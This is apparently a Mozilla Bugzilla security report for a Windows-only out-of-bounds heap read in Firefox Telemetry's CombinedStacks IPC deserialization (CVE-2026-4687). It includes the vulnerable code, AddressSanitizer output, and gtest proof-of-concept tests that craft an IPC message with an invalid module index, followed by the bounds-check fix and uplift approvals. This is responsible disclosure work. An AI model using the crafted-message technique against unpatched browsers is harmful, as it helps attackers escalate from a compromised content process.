Closed Bug 2016368 (CVE-2026-4687) Opened 5 months ago Closed 5 months ago

CombinedStacks mModIndex OOB Heap Read

Categories

(Toolkit :: Telemetry, defect, P1)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ fixed
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: gstoll)

References

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(4 files, 1 obsolete file)

48 bytes, text/x-phabricator-request
dveditz
: sec-approval+
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review

Compromised content process -> parent process via GetUntrustedModulesData IPC. Windows-only.

ParamTraits<CombinedStacks>::Read (CombinedStacks.h:85-103) deserializes mModules and mStacks without validating that frame.mModIndex < mModules.size(). AddStacks (CombinedStacks.cpp:97-100) passes attacker-controlled mModIndex to a lambda that indexes aStacks.mModules[aIdx] via std::vector::operator[] (no bounds check in release). The OOB Module contains nsString/nsCString with internal heap pointers that are subsequently dereferenced during comparison and copy.

Distinct from Bug 2015266 (mNextIndex/mMaxStacksCount OOB write). Different missing invariant, different code path, different fix.

The Bug

CombinedStacks.cpp:94-100:

for (const auto& frame : stack) {
    AddFrame(index, frame,
             [&aStacks](int aIdx) -> const ProcessedStack::Module& {
                 return aStacks.mModules[aIdx];  // std::vector::operator[] - no bounds check
             });
}

AddFrame (CombinedStacks.cpp:36-39) calls the lambda when mModIndex != 0xFFFF:

const ProcessedStack::Module& module = aModuleGetter(aFrame.mModIndex);  // OOB

ASAN Proof

==98018==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030005f2e38
READ of size 4 at 0x6030005f2e38 thread T0
#0 in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

0x6030005f2e38 is located 296 bytes after 32-byte region [0x6030005f2cf0,0x6030005f2d10)
SUMMARY: AddressSanitizer: heap-buffer-overflow in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

PoC

toolkit/components/telemetry/tests/gtest/TestCombinedStacks.cpp (relevant tests):

// PoC: CombinedStacks::AddStacks OOB read via unchecked frame.mModIndex.
TEST(CombinedStacks, OOBReadViaModIndex) {
  // Craft a CombinedStacks via IPC deserialization:
  //   mModules has 1 entry, but a frame references mModIndex=10.
  IPC::Message msg(MSG_ROUTING_NONE, 0);
  {
    IPC::MessageWriter writer(msg);

    std::vector<ProcessedStack::Module> modules(1);
    modules[0].mName = u"dummy.dll"_ns;
    IPC::WriteParam(&writer, modules);

    std::vector<std::vector<ProcessedStack::Frame>> stacks(1);
    stacks[0].push_back(ProcessedStack::Frame{0x1000, 10});
    IPC::WriteParam(&writer, stacks);

    IPC::WriteParam(&writer, size_t{0});
    IPC::WriteParam(&writer, size_t{50});
  }

  CombinedStacks crafted;
  {
    IPC::MessageReader reader(msg);
    ASSERT_TRUE(IPC::ParamTraits<CombinedStacks>::Read(&reader, &crafted));
  }

  ASSERT_EQ(crafted.GetModuleCount(), 1u);
  ASSERT_EQ(crafted.GetStackCount(), 1u);
  ASSERT_EQ(crafted.GetStack(0).size(), 1u);
  ASSERT_EQ(crafted.GetStack(0)[0].mModIndex, 10);

  CombinedStacks target(50);
  ProcessedStack dummyStack;
  dummyStack.AddFrame(ProcessedStack::Frame{0x2000, 0xFFFF});
  target.AddStack(dummyStack);

  // AddStacks: crafted.mModules[10] via std::vector::operator[] (no bounds check)
  // ASan: heap-buffer-overflow READ
  target.AddStacks(crafted);
}

// Raw-pointer variant for clean ASan report (bypasses libc++ hardened mode).
TEST(CombinedStacks, RawPointerOOBReadViaModIndex) {
  auto* modules = new std::vector<ProcessedStack::Module>(1);
  (*modules)[0].mName = u"dummy.dll"_ns;

  const ProcessedStack::Module* base = modules->data();
  size_t count = modules->size();  // 1

  uint16_t attackerModIndex = 10;
  ASSERT_GE(attackerModIndex, count);

  // std::vector::operator[] in release is just *(data() + aIdx)
  const ProcessedStack::Module* oobPtr = base + attackerModIndex;

  // ASan: heap-buffer-overflow READ
  volatile auto val = oobPtr->mName.Length();
  (void)val;

  delete modules;
}

Run: ./mach gtest "CombinedStacks.OOBReadViaModIndex:CombinedStacks.RawPointerOOBReadViaModIndex"

Fix

Validate mModIndex in ParamTraits<CombinedStacks>::Read:

for (const auto& stack : aResult->mStacks) {
    for (const auto& frame : stack) {
        if (frame.mModIndex != std::numeric_limits<uint16_t>::max() &&
            frame.mModIndex >= aResult->mModules.size()) {
            return false;
        }
    }
}
Flags: sec-bounty?
Component: Security → Telemetry
Product: Firefox → Toolkit
Assignee: nobody → gstoll
Severity: -- → S2
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Keywords: sec-high
Priority: -- → P1
See Also: → CVE-2026-2776
Attached file (secure)

Comment on attachment 9544745 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Given a compromised content process it would be pretty easy to trigger the OOB heap read and write.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR. I will update the flags.
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: they will be easy to uplift and very safe.
  • How likely is this patch to cause regressions; how much testing does it need?: Very unlikely; shouldn't need testing
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: No
Attachment #9544745 - Flags: sec-approval?

Comment on attachment 9544745 [details]
(secure)

sec-approval+ to land now and request uplifts

Attachment #9544745 - Flags: sec-approval? → sec-approval+

firefox-beta Uplift Approval Request

  • User impact if declined: sec-high bug
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing: n/a
  • Risk associated with taking this patch: low
  • Explanation of risk level: just adding some bounds checks
  • String changes made/needed: no
  • Is Android affected?: no
Attachment #9549441 - Flags: approval-mozilla-beta?
Attached file (secure)

firefox-esr115 Uplift Approval Request

  • User impact if declined: sec-high bug
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing: n/a
  • Risk associated with taking this patch: low
  • Explanation of risk level: just adding some bounds checks
  • String changes made/needed: no
  • Is Android affected?: no
Attachment #9549442 - Flags: approval-mozilla-esr115?
Attached file (secure)

firefox-esr140 Uplift Approval Request

  • User impact if declined: sec-high bug
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing: n/a
  • Risk associated with taking this patch: low
  • Explanation of risk level: just adding some bounds checks
  • String changes made/needed: no
  • Is Android affected?: no
Attachment #9549443 - Flags: approval-mozilla-esr140?
Attached file (secure)

firefox-release Uplift Approval Request

  • User impact if declined: sec-high bug
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing: n/a
  • Risk associated with taking this patch: low
  • Explanation of risk level: just adding some bounds checks
  • String changes made/needed: no
  • Is Android affected?: no
Attachment #9549444 - Flags: approval-mozilla-release?
Attached file (secure) (obsolete) —

Comment on attachment 9549444 [details]
(secure)

Rejecting release uplift request. This is not suitable for inclusion in a dot release, since ESR branches are affected.

Attachment #9549444 - Flags: approval-mozilla-release? → approval-mozilla-release-
Attachment #9549444 - Attachment is obsolete: true
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9549441 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Attachment #9549442 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9549443 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]
Alias: CVE-2026-4687
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: